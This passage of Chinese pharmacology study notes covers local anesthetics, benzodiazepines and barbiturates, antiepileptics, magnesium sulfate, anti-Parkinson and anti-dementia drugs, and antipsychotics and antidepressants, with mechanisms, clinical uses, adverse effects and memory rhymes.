    • 痛 > 温 > 触 > 压 > 运动
  • 吸收作用（不良反应）
    • 中枢神经系统：先兴奋后抑制
    • 心血管系统：抑制

四、作用机制

  • 阻塞 Na+ 通道、阻滞 Na+ 内流
  • 阻止动作电位的产生和神经冲动的传导

五、常用局麻药及其特点

  • 酯类局麻药：普鲁卡因、丁卡因；
  • 酰胺类局麻药：利多卡因、布比卡因。

六、临床应用

药物特点应用不良反应
普鲁卡因穿透力弱（须注射给药）浸润麻醉、传导麻醉、腰麻和硬膜外麻醉；不用于表面麻醉毒性小；易过敏，需皮试
利多卡因起效快，作用强而持久，穿透力较强各种局麻；抗心律失常毒性较普鲁卡因大
丁卡因穿透力强；有缩血管作用表麻，传导，腰麻和硬膜外麻醉；不用于浸润麻醉毒性大
布比卡因穿透力较强浸润、传导和硬膜外麻醉毒性较大

七、记忆口诀

  • 丁卡表麻毒性大，普卡安全不表麻
  • 利多全能要慎选，室性律乱常用它

第十五章：镇静催眠药

一、概述

  • 一类对中枢神经系统具有普遍的抑制作用，能够引起镇静和近似生理性睡眠的药物
  • 分为三类
    • 苯二氮䓬类
    • 巴比妥类
    • 其他

二、苯二氮䓬类（BZ）

一）常见药物

长效类

地西泮
  • 作用特点：抗焦虑、镇静催眠、抗惊厥、抗癫痫、肌松
  • 临床应用：焦虑症（持续焦虑状态）、失眠、电线持续状态、麻醉前给药、骨骼肌痉挛
氯氮䓬
  • 作用特点：同上，但强度弱
  • 临床应用：抗焦虑，催眠
氟西泮
  • 作用特点：催眠作用强
  • 临床应用：焦虑症（持续焦虑状态）、失眠、顽固性神经衰弱

中效类

硝西泮
  • 作用特点：催眠、抗惊厥强
  • 临床应用：失眠、肌肉阵挛性癫痫
氯硝西泮
  • 作用特点：抗惊厥作用强
  • 临床应用：癫痫、惊厥
氟硝西泮
  • 作用特点：镇静催眠强
  • 临床应用：失眠症、诱导麻醉

短效类

劳拉西泮
  • 作用特点：抗焦虑作用强
  • 临床应用：焦虑症、麻醉前给药
奥沙西泮
  • 作用特点：抗焦虑强
  • 临床应用：焦虑症（顽固性、间歇性）
三唑仑
  • 作用特点：抗焦虑作用强、催眠
  • 临床应用：失眠（焦虑性失眠）

二）药动学特点

  • 口服吸收快而完全 ，其中三唑仑吸收最快；
  • Tmax 约 1 小时：该类药物主要经肝药酶代谢，多数药物可转化成去甲地西泮，最后转为奥沙西泮，其活性与母体相似所以 t1/2 延长
  • 连续应用长效药物，要防止药物及代谢物在体内蓄积
  • BZ 代谢产物最终与葡萄糖醛酸结合为无活性产物，由肾排出

三）药理作用与临床应用

概述

  1. 抗焦虑
  2. 镇静、催眠
  3. 抗惊厥、抗癫痫
  4. 中枢性肌松作用
  5. 死亡
  6. 注意：以上药理作用从上到下，剂量依次加大

抗焦虑

  • 作用：在低于镇静剂量时就显著改善症状
  • 用途：各种焦虑症

镇静、催眠

特点
  • 治疗指数高，安全范围大，对呼吸影响小；
  • 缩短睡眠诱导时间，延长持续时间，减少夜惊夜游症；
  • 对 REM（快动眼睡眠时相，与教材的 FWS 含义相同）影响小，停药后出现反跳性 FWS 延长较巴比妥轻，依赖性、戒断症状较巴比妥类药物轻；
用途
  • 各种失眠；
  • 麻醉前给药和心脏电击复律或内镜检查前给药

抗惊厥、抗癫痫

  • 用于破伤风、子痫、小儿高热所致惊厥
  • 地西泮静脉注射首选用于癫痫持续状态

中枢性肌松作用（区别于肌松药）

  • 大脑麻痹，脑血管意外或脊髓损伤等引起的 肌僵直 ；
  • 缓解关节病变、腰肌劳损等所致 肌肉疼 。

四）作用机制

  • 激动 GABAA 受体（γ-氨基丁酸受体）促进 GABA 与 GABA 受体结合，增加 CI- 通道开放的频率，而呈现中枢抑制效应。

五）不良反应

总结

  • 毒性较小，安全范围大

中枢抑制

  • 治疗量常见不良反应为嗜睡、头晕、乏力，影响技巧性操作和驾驶安全；
  • 大剂量时偶有共济失调，语言不清，肌肉无力

呼吸和循环抑制

  • 静脉注射速度过快可引起呼吸和循环功能抑制，故宜缓慢静脉注射
  • 酒精与镇静催眠药合用可能危及生命

耐受性和成瘾性

  • 有，但较巴比妥类发生率低，戒断症状较迟、较轻

过量中毒

  • 特效拮抗药 氟马西尼

三、巴比妥类

一）概述

  • 长效类：苯巴比妥（鲁米那）
  • 中效类：戊巴比妥，异戊巴比妥
  • 短效类：司可巴比妥
  • 超短效：硫喷妥钠

二）药理作用

  • 抑制中枢神经系统
  • 随着剂量的加大，依次表现为
    • 镇静
    • 催眠
    • 抗惊厥、抗癫痫
    • 麻醉作用

三）临床应用

镇静、催眠（不好用）

  • 缩短 REMS，改变正常睡眠模式，引起非生理性睡眠
  • 长期用药易产生依赖性，停药后 REMS “反跳”性显著延长，出现多梦等睡眠障碍
  • 不良反应多，安全性低，已不作为镇静催眠药常规使用

抗惊厥（绝招）

  • 用于各种惊厥、破伤风、子痫、药物中毒和小儿高热惊厥等

抗癫痫

  • 苯巴比妥：可用于强直痉挛性发作和部分性癫痫发作

麻醉及麻醉前给药

  • 硫喷妥钠静脉给药：用于静脉麻醉或诱导麻醉

四）作用机制

  • 激动 GABAA 受体
  • 与苯二氮䓬类作用于同一受体的不同位点

五）不良反应（多而重）

后遗作用

  • “宿醉现象”：服用巴比妥后翌日出现头晕、乏力、困倦、恶心等

依赖性和成瘾性

呼吸中枢

  • 呼吸深度抑制是巴比妥类药物致死的主要原因

耐受性

  • 因为：巴比妥类药物是肝药酶诱导剂
  • 所以
    • 长期应用巴比妥类药物特别是苯巴比妥，可使肝脏药物代谢酶活性增高，加速巴比妥类药物代谢，可产生耐受性。
    • 也可加速洋地黄毒苷、苯妥英钠、口服抗凝血药、三环类抗抑郁药及甾体类激素等的代谢，导致药效减弱

六）中毒及解救

中毒原因

  • 一次误服用 10 倍催眠量
  • 静脉给药时，用量过大或注射过快

中毒表现

  • 深度昏迷、瞳孔散大、血压下降、体温降低、呼吸抑制、呼吸循环衰竭

直接死因

  • 深度呼吸抑制

中毒解救

对因治疗（排除毒物）
  • 消化道：KMnO4 洗胃；Na2SO4 导泻
  • 肾脏：NaHCO3 或乳酸钠碱化尿液
  • 强迫利尿：饮水、输液、利尿药
  • 血液：透析
对症治疗
  • 维持呼吸及循环功能：人工呼吸、输液、保温、使用升压药

四、其他镇静催眠药

一）水合氯醛

  • 该药易从消化道吸收，常用 10% 口服液
  • 对胃肠道有刺激性，消化性溃疡患者禁用
  • 直肠给药吸收迅速，可减少刺激反应
  • 应用于
    • 失眠
    • 子痫、破伤风和小儿高热等惊厥

二）佐匹克隆、扎来普隆，唑吡坦

作用

  • 能延长慢波睡眠时相，对 FWS 时相无明显作用；
  • 缩短入睡潜伏期，延长睡眠时间，提高睡眠质量

应用

  • 适用于失眠症
  • 有抗焦虑、抗惊厥和肌肉松弛作用

特点

  • 无日间困倦、依赖轻、耐受轻、更安全
  • 目前推荐为治疗失眠的一线药物

五、记忆口诀

  • 镇静催眠巴比妥，苯二氮䓬首安定；
  • 抗惊抗癫抗焦虑，中枢肌松地西泮。
  • 剂量不同效有异，过量中毒快抢救，
  • 洗胃补液又给氧，碱化尿液促排泄。
  • 特效解毒氟马尼，特异位点拮抗剂。

第十六章：抗癫痫药和抗惊厥药

一、抗癫痫药

一）概述

  • 癫痫：一组由大脑神经元异常放电所引起的短暂中枢神经系统功能失常为特征的慢性脑部疾病。
  • 临床表现为：运动、感觉、意识、行为和自主神经等不同程度的障碍。
  • 现有抗癫痫药的作用：
    • 作用于病灶神经元的作用：减弱或防止异常放电
    • 作用于病灶周围正常脑组织：防止异常放电的扩散

二）癫痫的分型

  • 局限性发作
    • 单纯局限性发作
    • 复合性局限性发作（精神运动性）
  • 全身性发作
    • 失神性发作（小发作）
    • 强直-阵挛性发作（大发作）
    • 癫痫持续状态
    • 肌阵挛性发作

三）常用的抗癫痫药

  1. 苯妥英钠(大仑丁）
  2. 卡马西平（酰胺咪嗪）
  3. 丙戊酸钠
  4. 乙琥胺
  5. 苯巴比妥
  6. 扑米酮（去氧苯比妥）
  7. 安定(地西泮)

四）临床应用

药物临床应用其他
苯妥英钠癫痫大发作和局限发作首选，对小发作无效治疗三叉神经痛，心律失常
卡马西平精神运动性发作首选；三叉神经痛首选治疗三叉神经痛，尿崩症
苯巴比妥/扑米酮不作首选，对小发作效差
乙琥胺小发作首选不良反应：精神行为异常，粒细胞减少
丙戊酸钠大发作合并小发作的首选，全能抗癫痫药不良反应：肝损害
  • 所有抗癫痫药都具有肝毒性

五）临床合理选药

  1. 强直阵挛性发作（大发作）：首选苯妥英钠或苯巴比妥，如不能控制，加用扑米酮；
  2. 失神发作（小发作）：首选丙戊酸钠或乙琥胺，也可用硝西泮或氯硝西泮；
  3. 复杂部分性发作（精神运动性发作）：首选卡马西平也可选用苯妥英钠或苯巴比妥；
  4. 单纯部分性发作：可选用苯妥英钠或卡马西平；
  5. 肌阵挛性发作：氯硝西洋或硝西伴；
  6. 癫痫持续状态：首选地西伴静脉注射，也可用苯巴比妥肌注或苯妥英钠缓慢静注。

六）记忆口诀

  • 癫痫小发作，首选乙琥胺；
  • 局限发作大发作，苯妥英钠鲁米那；
  • 卡马西平精神性，持续状态用安定；
  • 慢加剂量停药渐，坚持用药防骤停。

七）药物

苯妥英钠（大仑丁）

药动学
  • 口服吸收慢而不规则，需连服数日才开始出现疗效，吸收后可迅速分布于脑组织中。
  • 不同制剂的生物利用度显著不同，且有明显的个体差异。
  • 因此应进行血药浓度监测，指导临床合理用药。
  • 因呈强碱性（pH=10.4），刺激性大，不宜肌内注射，痫持续状态可作静脉注射。
  • 血浆蛋白结合率约 90%：高
  • 60%～70% 经肝药酶代谢，由肾排泄；
  • 当血中药物浓度高于 10ug/ml 时按零级动力学消除。
    • 治疗指数低，安全范围窄，个体差异大，吸收不恒定
    • 易中毒宜监测
临床应用
  1. 抗癫痫
    • 大发作和局限性发作的首选药，对于小发作无效。
    • 注射给药时用于治疗癫痫持续状态。
  2. 治疗外周神经痛
    • 三叉神经痛、舌咽神经痛
    • 不是首选
  3. 抗心律失常
    • 室性心律失常
机制
  • 膜稳定作用
    • 阻断 Na+ 通道，抑制 Na+ 的内流（同利多卡因），从而降低细胞膜的兴奋性，抑制动作电位的产生。
    • 阻止癫痫病灶的放电向周围扩散而发挥其抗癫痫作用，对于病灶本身的放电并无影响。
  • 增加脑内 GABA，引起 Cl- 内流
不良反应（多而重）
  1. 局部刺激（本身碱性强）：口服引起恶心、呕吐等；静脉注射易引起静脉炎
  2. 牙龈增生。
  3. 神经系统反应：口服过量引起眼球震颤，共济失调，眩晕，复视等。
  4. 过敏反应：皮肤瘙痒，皮疹等。
  5. 血液系统：用药后 1-3 周常导致叶酸缺乏症，巨幼红细胞贫血，血小板减少症，再生障碍性贫血等， 必须补叶酸，定时查血象 。
  6. 其它反应
    • 妊娠期服用偶致畸胎；
    • 男性乳房发育和女性多毛；
    • 久用骤停可使癫痫症状加重，甚至诱发癫痫持续状态。
    • 加速维生素 D 的代谢，出现低钙血症，软骨病和佝偻病等必须补充 VD 和钙。
补D，补钙，补叶酸
药物相互作用
  1. 血浆蛋白结合率高(90%)
    • 与保泰松、水杨酸类等血浆蛋白结合率高的药物合用时，因竞争性结合使苯妥英钠的血浆游离药物浓度升高 -> 中毒
  2. 苯妥英钠是肝药酶诱导剂
    • 能加速多种药物代谢，如皮质类固醇和避孕药，使其它药物疗效下降
  3. 本身被肝药酶代谢
    • 与药酶抑制剂（如红霉素、氯霉素、异烟肼）合用：可提高其血药浓度、导致中毒；
    • 与药酶诱导剂（如苯巴比妥、卡马西平）合用：可减低其血药浓度、导致药效减弱。

卡马西平（酰胺咪嗪）

临床应用
  • 抗癫痫：对复杂部分性发作效果好，为首选药。对强直阵挛性发作和单纯部分性发作也有效；对失神性发作疗效差。
  • 外周神经痛（三叉神经痛和舌咽神经痛）优于苯妥英钠，首选；
  • 抗躁狂、抗抑郁：对癫痫并发的精神症状、锂盐无效的躁狂症以及抑郁症有效。
不良反应
  • 头昏、眩晕、复视、共济失调和恶心、呕吐等，也有皮疹和心血管反应：一般不需停药，一周左右逐渐消失
  • 偶致骨髓抑制（再生障碍性贫血、粒细胞减少和血小板减少）
  • 肝损害

丙戊酸钠

临床应用
  • 对各种类型的癫痫发作有效。
  • 对失神小发作的疗效优于乙琥胺，但因有肝毒性，所以小发作依然首选乙琥胺。
  • 小发作合并大发作（混合发作）时首选丙戊酸那。
不良反应
  • 常见不良反应有恶心、呕吐、食欲减退；
  • 严重不良反应是肝损害。

乙琥胺

  • 为癫痫小发作的首选药。

苯巴比妥

  • 静脉注射治疗癫痫持续状态
  • 但因有镇静作用，所以会影响认知功能，故不作为首选药

安定（地西泮）

  • 为癫痫持续状态的首选药。

扑米酮（去氧苯比妥）

  • 在体内转化为苯巴比妥和苯乙基丙二酰胺而发挥抗癫痫作用。
  • 扑米酮与苯巴比妥相比并无特殊优点，且价格昂贵，故只用于其他药物不能控制的病人。
  • 不宜与苯巴比妥合用。

二、抗惊厥药

一）概述

  • 惊厥：各种原因引起的中枢神经过度兴奋的一种症状，表现为全身骨骼肌不自主的强烈收缩。
  • 发生原因：小儿高热、破伤风、癫痫大发作、子痫和中枢兴奋药中毒等。
  • 抗惊厥药
    • 巴比妥类：最给力
    • 水合氯醛：直肠给药最方便
    • 地西泮：最安全
    • 硫酸镁：最好玩

二）硫酸镁

口服

  • 导泻：急性便秘，中毒解救
  • 利胆：胆石症、急性胆囊炎

注射

  • 扩张血管、降低血压：高血压危象、高血压脑病
  • 中枢抑制、骨骼肌松弛：子痫、破伤风等惊厥

外用

  • 消炎去肿

药理作用与临床应用（静脉给药）

抗惊厥作用
  • Mg2+ 拮抗 Ca2+ 的作用，抑制 ACh 释放，从而阻断神经肌肉接头的传递过程，使肌肉松弛
    • 此作用可被 Ca2+ 拮抗
  • 抑制中枢神经系统
降压作用（快而强）
  • 松弛血管平滑肌，血管扩张，血压下降
  • 中枢抑制，镇静作用
  • 可能减少交感神经释放 NA

不良反应

  • 过量时：引起呼吸抑制、血压骤降以至死亡
  • 中毒表现
    • 膝跳反射消失：肌松
    • 呼吸 < 16次/min
    • 24h 尿量 < 600ml

记忆口诀

  • 效用主要看途径，泻下利胆用口服
  • 消炎去肿外热敷，注射用药抑中枢
  • 高压危象急救用，子痫抽搐破伤风

第十七章：治疗中枢神经系统退行性疾病药（抗帕金森病药和抗老年痴呆药）

一、抗帕金森病药

一）概述

概念

  • 帕金森病是神经系统常见的慢性进行性退变疾病。

典型症状

  • 静止震颤
  • 肌强直
  • 运动迟缓
  • 姿势步态异常
  • 严重者伴有记忆障碍和痴呆等症状

病变部位

  • 基底节黑质-纹状体

发病机制

  • 多巴胺神经元变性坏死，多巴胺能神经功能减弱
  • 胆碱能神经功能相对占优势

抗帕金森病药的作用机制

  • 重新调整两类递质的平衡
    • 拟多巴胺药
    • 胆碱受体阻断药
  • 拟多巴胺药
    • 左旋多巴：进入脑内脱羧生成多巴胺
    • 卡比多巴：左旋多巴增效剂
    • 金刚烷胺：促多巴胺释放药
    • 溴隐亭：多巴胺受体激动剂
  • 胆碱受体阻断药
    • 苯海索：中枢抗胆碱药

二）拟多巴胺类药

左旋多巴

概述
  • 作用：补充多巴胺
  • 机制：左旋多巴是合成多巴胺的前体物质。
         脱羧酶             可用于催醒
左旋多巴 -------> 多巴胺（DA）--------> 去甲肾上腺素（NA）
药动学

  • 口服迅速吸收。肉类蛋白质中某些氨基酸会影响左旋多巴的吸收，应避免同时进食蛋白质类食物，应隔开 2～3h。
  • 99% 被脱羧酶脱羧，并有首关消除，仅 1% 的原形药物可到达脑内；
  • 在外周生成的多巴胺不能穿过血脑屏障，不仅无药理作用而且引起不良反应；
  • 外周脱羧酶抑制药：卡比多巴，可显著增加原形药物透过血脑屏障。
药理作用及应用

抗帕金森病作用

  • 进入中枢的 L-dopa，在中枢多巴脱羧酶的作用下，脱羧转变为 DA，补充纹状体中 DA的不足。

治疗肝昏迷（肝性脑病）

  • L-dopa 进入脑内，可转变成 NA，对抗脑内胺类假递质，恢复中枢神经功能，使肝性脑病患者清醒，但不能改善肝功能。
抗帕金森病作用特点
  1. 疗效与黑质纹状体病损程度相关，对轻症和年轻患者疗效较好，重症和年老体弱者疗效较差；
  2. 对肌肉僵直和运动困难疗效好，对肌肉震颤疗效差；
  3. 显效慢，一般在用药 2～3 周才出现疗效，1～6 个月以上方可获得最大疗效；
  4. 疗效与疗程有关：疗程超过 3 个月，50% 的患者获得较好疗效；疗程 1 年以上，疗效达 75%；
  5. 对抗精神病药如吩噻嗪类引起的帕金森综合征无效。
药物相互作用
  • 维生素 B6 ：是脱羧酶辅基，能加速左旋多巴在肝中转化成多巴胺，降低其疗效。
  • 利血平：可耗竭黑质纹状体中多巴胺，降低左旋多巴疗效。
  • 氯丙嗪：能阻断多巴胺受体，除降低左旋多巴疗效外，还可引起药源性帕金森综合征。
不良反应

消化道反应（最常见）

  • 80% 出现恶心、呕吐和食欲减退等，与 DA 兴奋延髓催吐化学感受区 D2 受体有关。还可引起腹气胀、腹痛、腹泻等。

心血管反应

  • 治疗初期约 30% 患者出现直立性低血压原因不清。另外，可引起心动过速、心绞痛和心律失常等。

精神障碍

  • 表现为失眠、焦虑、噩梦、狂躁等兴奋症状，尤其是高龄者可出现幻觉、妄想等，可能与 DA 作用于大脑边缘叶有关，需减量或更换药物。

神经系统反应

  • 不自主的异常运动：为长期用药所引起的不随意运动，多见于面部肌群，如口-舌-颊抽搐、张口、伸舌、皱眉等。
  • "开-关”现象：即患者突然多动不安（开），而后又出现全身性或肌强直性运动不能（关），两种现象可交替出现。
    • 大多数发生于持续服药 1 年以上，一旦发生应减量或停用。

卡比多巴（左旋多巴增效剂）

药理作用和机制
  • 外周脱羧酶抑制剂
  • 与左旋多巴按 1:10 的剂量合用：既提高疗效，又减少副作用
  • 单用无效
复方制剂
  • 复方左旋多巴
    • 苄丝肼 + 左旋多巴
    • 卡比多巴 + 左旋多巴

金刚烷胺

机制
  • 促进纹状体中残存的多巴胺能神经元释放多巴胺；
  • 抑制 DA 再摄取；
  • 直接激动多巴胺受体；
  • 较弱的中枢抗胆碱作用。
抗帕金森病的特点
  • 缓解震颤、僵直效果好
  • 起效快而持续时间短，用药 48 小时后出现作用，2 周后获最大效应，但维持时间短。

溴隐亭

  • 大剂量口服：可激动黑质-纹状体通路的多巴胺受体，故用于治疗帕金森病。
  • 小剂量口服：可激动结节-漏斗部的多巴胺受体，减少催乳素和生长激素释放。
    • 用于回乳（抑制催乳素分泌）
    • 治疗催乳素分泌过多症（闭经泌乳综合征）
    • 治疗肢端肥大症（抑制生长素分泌）

三）中枢抗胆碱药：苯海索（安坦）

机制

  • 阻断中枢胆碱受体，减弱黑质-纹状体通路中 ACh 的作用，疗效不如左旋多巴。

用于

  • 轻症患者
  • 由于不良反应或禁忌征不能耐受左旋多巴以及左旋多巴治疗无效的患者。
  • 对抗精神病药引起的帕金森综合征有效
  • 对震颤效果疗效较好

不良反应

  • 外周抗胆碱（M 受体阻断药）表现：如口干、散瞳、视力模糊、尿猪留、便秘等。
  • 老年人：窄角型青光眼、前列腺肥大禁用，诱发和加重老年痴呆。

二、抗老年性痴呆药

一）病理机制

  • 胆碱能神经元退行性病变：中枢神经系统内乙酰胆碱受体变性、神经元数目减少等

二）药物

  • 多奈哌齐（安理申）、加兰他敏、卡巴拉丁、石杉碱甲、利斯的明

三）机制

  • 抑制中枢神经系统的胆碱酯酶，使中枢 Ach↑

四）不良反应

  • 常见：腹泻、肌肉痉挛、疲乏、恶心呕吐、失眠头晕
  • 少数患者出现血肌酸激酶轻微增高
  • 类似于新斯的明

第十八章：抗精神失常药

一、抗精神病药（抗精神分裂症）

一）概述

精神分裂症的发病机制

  • 脑内中脑-边缘系统
  • 中脑-皮层系统
  • 两者激动 DA（D2）受体

抗精神病药的作用机制

  • 阻断脑内的 DA（D2）受体

脑内 DA 神经系统

调控人类精神活动（治疗作用）
  • 中脑-边缘系统
  • 中脑-皮层系统
可能牵涉的其他不良反应
  • 黑质-纹状体系统：锥体外系，调节运动
  • 结节-漏斗系统：调控垂体激素分泌

二）吩噻嗪类

氯丙嗪（冬眠灵）

药动学
  • 不同个体口服相同剂量，血药浓度相差可达 10 倍，故需注意用药剂量个体化。
  • 老年患者消除速率慢，应调整用药剂量。
作用机制

阻断一堆受体

治疗作用：阻断 D2 受体；

副作用：阻断 α 受体、H1 受体、5-HT2 受体、M 受体

药理作用
对中枢神经系统的作用

概述

  • 阻断 DA 受体而发挥的 治疗作用：
    1. 镇静、抗精神病
    2. 镇吐
    3. 人工冬眠
    4. 加强中枢抑制药的作用
  • 阻断 DA 受体而发挥的 不良反应：
    1. 闭经泌乳
    2. 锥体外系反应

镇静、抗精神病作用

  • 作用：能消除幻觉、妄想、躁狂，减轻思维和情感障碍等阳性症状，使患者恢复理智、情绪安定、生活自理。
  • 应用：用于各型精神分裂症，躁狂症。
  • 机制：阻断中脑-边缘系统、中脑-皮质通路的 D2 受体

镇吐作用

  • 作用
    • 小剂量抑制催吐化学感受区（CTZ），对抗去水吗啡的催吐作用。
    • 大剂量直接抑制呕吐中枢。
  • 应用：用于癌症放射病等多种疾病及药物引起的呕吐、顽固性呃逆，但对前庭刺激所致的呕吐无效。
  • 机制：阻断 CTZ 和呕吐中枢的 D2 采体

对体温调节的影响

  • 作用：不仅使发热机体降温，亦能使正常体温下降；降温作用与环境温度有关。
  • 应用：人工冬眠
    • “冬眠合剂”：氯丙嗪，异丙嗪，哌替啶（杜冷丁）
    • 配合物理降温（冰袋或冰水浴）
    • 可使患者体温降至 34℃ 或更低，能降低机体对各种伤害性刺激的反应
      • 如：严重创伤、感染性休克、高热惊厥和甲状腺危象。
  • 机理：抑制下丘脑体温调节中枢的 D2 受体，干扰其恒温调控功能。
    • 不同于阿司匹林、地塞米松
    • 阿司、地米只能使体温不升高但不能降低正常体温

加强中枢抑制药的作用

  • 使麻醉药、镇静催眠药、镇痛药、解热镇痛药和乙醇的作用增强。
对内分泌系统的影响
  • 机制：阻断结节-漏斗系统中的 D2 亚型受体，影响下丘脑分泌多种激素的释放
  • 作用：闭经泌乳
    • 催乳素分泌↑
    • 促性腺激素↓
    • 生长素↓
对植物神经系统（自主神经系统）的作用
  • 阻断 α 受体：血管扩张，血压下降（ 致死性低血压 ）
    • 注意：氯丙嗪可翻转肾上腺素的升压作用
    • 因此氯丙嗪引起的低血压不能用肾上腺素解救，而因给予去甲肾上腺素。
  • 阻断 M 受体：出现类似阿托品样表现
不良反应
常见不良反应
  • 中枢抑制症状：嗜睡、淡漠、无力等；
  • M 受体阻断症状：视力模糊、口干、便秘、无汗和眼内压升高等（青光眼患者禁用）；
  • α 受体阻断症状：鼻塞、血压下降、直立性低血压及心悸等，氯丙嗪引起的低血压不能用肾上腺素纠正，用去甲肾上腺素。
对黑质纹状体的影响：锥体外系反应

刚开始

  • 机制：阻断黑质-纹状体通路的 D2 受体
  • 不良反应（锥体外系反应）
    • 药源性帕金森综合征；
    • 静坐不能；
    • 急性肌张力障碍
  • 处理（对抗药物）
    • 苯海索
    • 金刚烷胺
    • 不能用左旋多巴

长期用药

  • 机制：长期阻断，导致黑质-纹状体通路 D2 受体上调
  • 不良反应（锥体外系反应）
    • 迟发性运动障碍：出现口-舌-颊三联症。
  • 处理
    • 停药；
    • 对抗药物：氯氮平
记忆口诀
  • 精神病药氯丙嗪，阻断受体多巴胺，
  • 镇静止吐兼降温，人工冬眠显奇效，
  • 长期用药毒性大，震颤麻痹低血压。
核心总结：氯丙嗪对中枢的作用及其临床意义
作用部位临床意义效果
中脑-皮层和中脑-边缘系统的 D2 受体精神分裂症治疗作用
抑制催吐化学感受区 D2 受体止吐治疗作用
抑制体温调定点的 D2 受体人工冬眠治疗作用
阻断（垂体）结节-漏斗通路的 D2 受体催乳素分泌↑ 促性腺激素↓ 生长素↓不良反应
阻断黑质-纹状体通路的 D2 受体锥体外系反应：药源性帕金森综合征； 静坐不能； 急性肌张力障碍不良反应
长期阻断突触后 DA 受体，引起黑质-纹状体通路 D2，受体上调迟发性运动障碍：出现口-舌-颊三联症不良反应

其他

奋乃静、氟奋乃静、三氟拉嗪
  • 共同特点
    • 抗精神病作用强；
    • 镇静作用弱；
    • 锥体外系反应明显
硫利达嗪
  • 镇静作用强，疗效不及氯丙嗪，但椎体外系不良反应小，老年患者易耐受。

三）其他类

氟哌啶醇

临床应用
特点
  • 抗精神病作用和镇吐作用较氯丙嗪强
  • 而镇静作用较弱，降温作用不明显。
应用
  • 主要用于治疗以兴奋、躁动、幻觉、妄想为主的精神分裂症及躁狂症
  • 对氯丙嗪无效的患者仍有效；
  • 还可用于呕吐及顽固性呃逆、焦虑性神经官能症等
主要不良反应
  • 锥体外系反应发生率高、严重。
  • α 受体和 M 受体阻断作用轻，对心血管系统的副作用较小

舒必利

临床应用
  • 特点
    • 对精神分裂症的阳性和阴性症状均有效，对长期用其他药物治疗无效的难治病例也有效。
    • 镇吐作用较氯丙嗪强 150 倍，可用于顽固性恶心呕吐。
主要不良反应
  • 锥体外系不良反应少（对纹状体 D2 受体的亲和力低）
  • 因使血中儿茶酚胺浓度升高，高血压和嗜铬细胞瘤患者禁用；
  • 可诱发躁狂，躁狂患者禁用

氯氮平

临床应用
特点
  • 二苯氧氮平类。
  • 特异性阻断：中脑-边缘系统和中脑-皮层系统的 D4 亚型受体，而对黑质-纹状体系统的 D2 和 D3 亚型受体几无亲和力。
应用
  • 治疗急、慢性精神分裂症，而且对其他药物无效的病例，包括慢性精神分裂症的退缩等阴性症状仍有较好疗效；
  • 也可用于氯丙嗪引起的迟发运动障碍
主要不良反应
  • 几无锥体外系反应及内分泌方面的不良反应
  • 其他有流涎、便秘、发热、粒细胞减少

利培酮

临床应用
  • 已成为治疗精神分裂症的一线药物。
  • 对精神分裂症（+）和（-）症状均有效，适于首发急、慢性病人。
  • 对精神分裂症病人的认知功能障碍和继发性抑郁也有治疗作用
主要不良反应
  • 锥体外系不良反应轻
  • 常见不良反应：失眠、焦虑、头痛、口干、疲劳、注意力下降、皮肤过敏和体重增加

二、抗抑郁药

一）概述

  • 躁狂症、抑郁症：又称情感性精神障碍，是一种以情感病态变化为主要症状的精神病。
  • 脑内 5-HT 降低是躁狂和抑郁症的共同的病理化基础
  • NA 功能亢进 -> 躁狂：表现为情绪高涨、联联想敏捷、活动增多；
  • NA 功能降低 -> 抑郁：表现为情绪低落，言语减少，精神活动迟缓
  • 凡能提高中枢 5-HT 功能，降低 NA 功能：抗躁狂症
  • 凡能提高中枢 5-HT 功能，提高 NA 功能：抗抑郁症

二）分类

作用机制药物
非选择性 5-HT 和 NA 再摄取抑制剂丙米嗪、阿米替林、多塞平、氯米帕明
选择性 NA 期摄取抑制剂马普替林、米安色林、去甲替林、普罗替林
选择性 5-HT 再摄取抑制剂（SSRI）氟西汀、帕罗西汀、舍曲林、西塔罗帕、氟伏沙明
单胺氧化酶抑制剂（MAOI）吗氯贝胺、溴法罗明、苯乙肼、异卡波肼

三）三环类抗抑郁药：米帕明（丙米嗪）

对中枢神经系统

机制
  • 抑制特定脑区神经组织突触前膜对 NA 及 5-HT 的再摄取：提高突触间隙 NA 和 5-HT 浓度。
作用（注意正常人和抑郁症患者截然相反的表现）
  • 正常人服用：以镇静为主；
  • 抑郁症病人：出现精神振奋，情绪提高，但疗效缓慢，连续用药2～3周后才显效。

对自主神经系统的作用（副作用）

  • 治疗量阻断 M 受体，引起阿托品样作用。

对心血管系统的作用（副作用）

  • 抑制多种心血管反射，易致低血压和心律失常（心律失常易致死）
  • 有奎尼丁样作用，心血管疾病患者慎用。

不良反应（多而重）

  • 阻断 M 受体：阿托品样作用；
  • 中枢反应
    • 多种三环类均有镇静作用，但阿米替林、多塞平、地昔帕明却有振奋激活作用，震颤、头晕和失眠常见。
    • 降低疼挛阀值可诱发癫痫。
  • 心血管反应
    • 三环类中丙米嗪、阿米替林及地昔帕明可引起窦性心动过速、直立性低血压、心律失常，与抑制心肌 NA 再摄取有关。
  • 长期大剂量用药突然停药
    • 可出现焦虑、失眠、恶心、呕吐、兴奋等症状。过量可引起急性中毒。

四）四环类抗抑郁药

概述

  • 代表药：马普替林、米安色林。
  • 特点：作用迅速、副作用少和易耐受。

马普替林

  • 机制
    • 为选择性 NA 摄取抑制剂，对 5-HT 的摄取几乎没有影响。
    • 有强抗组胺和弱抗胆碱作用，故抗胆碱作用和心血管作用弱，镇静作用较强。
  • 应用
    • 用于各型抑郁症，老年性抑郁症患者较适用。

米安色林

  • 机制
    • 该药不阻滞 NA、5-HT 和 DA 的摄取，而是抑制突触前膜 α2 受体促进 NA 的释放。
  • 应用
    • 有镇静和抗焦虑作用。
    • 对伴有抑郁的焦虑症有效。
    • 无抗胆碱作用，无心脏毒性.

五）选择性 5-HT 再摄取抑制剂

机制

  • 抑制 5-HT 再摄取，升高突触间隙中 5-HT 含量（对 NA 影响小）
  • 几无抗胆碱作用。

常用药物

  • 氟西汀：抑郁症，疗效与三环类相当，还可用于强迫症、贪食症等。
  • 舍曲林：各类抑郁症，强迫症，经前焦虑等。
  • 帕罗西汀
  • 曲唑酮

六）单胺氧化酶抑制药

作用机制

  • 抑制单胺氧化酶每（MAO），使 NA、5-HT 和 DA 等胺类不被降解，故突触间隙的胺类升高。

代表药物

非选择性 MA0-A 抑制剂
  • 苯乙肼、异卡波肼、异羧肼、反苯环丙胺：因用药后易引起高血压和肝毒性，已淘汰；
选择性 MA0-A抑制剂
  • 吗氯贝胺、溴法罗明
  • 能选择性、可逆性抑制 MAO-A，抗抑郁作用起效快，又无三环类抗胆碱所致不良反应，临床上应用较为广泛。

注意

  • 单胺氧化酶抑制剂（MAOI）
    • 即：吗氯贝胺、溴法罗明
